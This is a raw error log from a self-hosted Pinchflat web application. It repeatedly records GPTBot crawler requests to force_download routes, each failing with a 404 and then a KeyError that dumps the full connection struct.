%{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10427.0>, params: %{}, path_info: ["sources", "2", "media", "6113", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6113"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6113/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEKlr22ZKzoCEAA7aB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6113/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43566}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6113/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6113/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43566}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:42:57.066 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:57.650 [info] GET /sources/3/media/6494/force_download 15:42:57.651 [debug] QUERY OK source="settings" db=0.0ms idle=1622.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:57.651 [debug] QUERY OK source="settings" db=0.0ms idle=829.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:57.651 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:42:57.651 [error] #PID<0.10429.0> running PinchflatWeb.Endpoint (connection #PID<0.10428.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6494/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6494/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6494/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43582}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6494", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10429.0>, params: %{}, path_info: ["sources", "3", "media", "6494", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6494"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6494/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEKruylaPy1nEAA7bB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6494/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43582}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6494", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6494/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6494/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43582}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6494", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:43:00.689 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:02.452 [info] GET /sources/3/media/6483/force_download 15:43:02.453 [debug] QUERY OK source="settings" db=0.2ms idle=1512.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:02.453 [debug] QUERY OK source="settings" db=0.1ms idle=1513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:02.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:43:02.453 [error] #PID<0.10431.0> running PinchflatWeb.Endpoint (connection #PID<0.10430.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6483/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6483/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6483/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54574}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6483", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10431.0>, params: %{}, path_info: ["sources", "3", "media", "6483", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6483"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6483/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEK9np7VyDkJAAA7cB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6483/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54574}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6483", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6483/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6483/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54574}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6483", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:43:16.843 [info] GET /sources/1/media/6107/force_download 15:43:16.844 [debug] QUERY OK source="settings" db=0.2ms idle=1002.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:16.844 [debug] QUERY OK source="settings" db=0.0ms idle=904.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:16.844 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:43:16.844 [error] #PID<0.10433.0> running PinchflatWeb.Endpoint (connection #PID<0.10432.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/6107/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6107/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6107/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6107", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10433.0>, params: %{}, path_info: ["sources", "1", "media", "6107", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/6107"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/6107/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVELzOuy7u-ZH0AA7dB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6107/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6107", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", 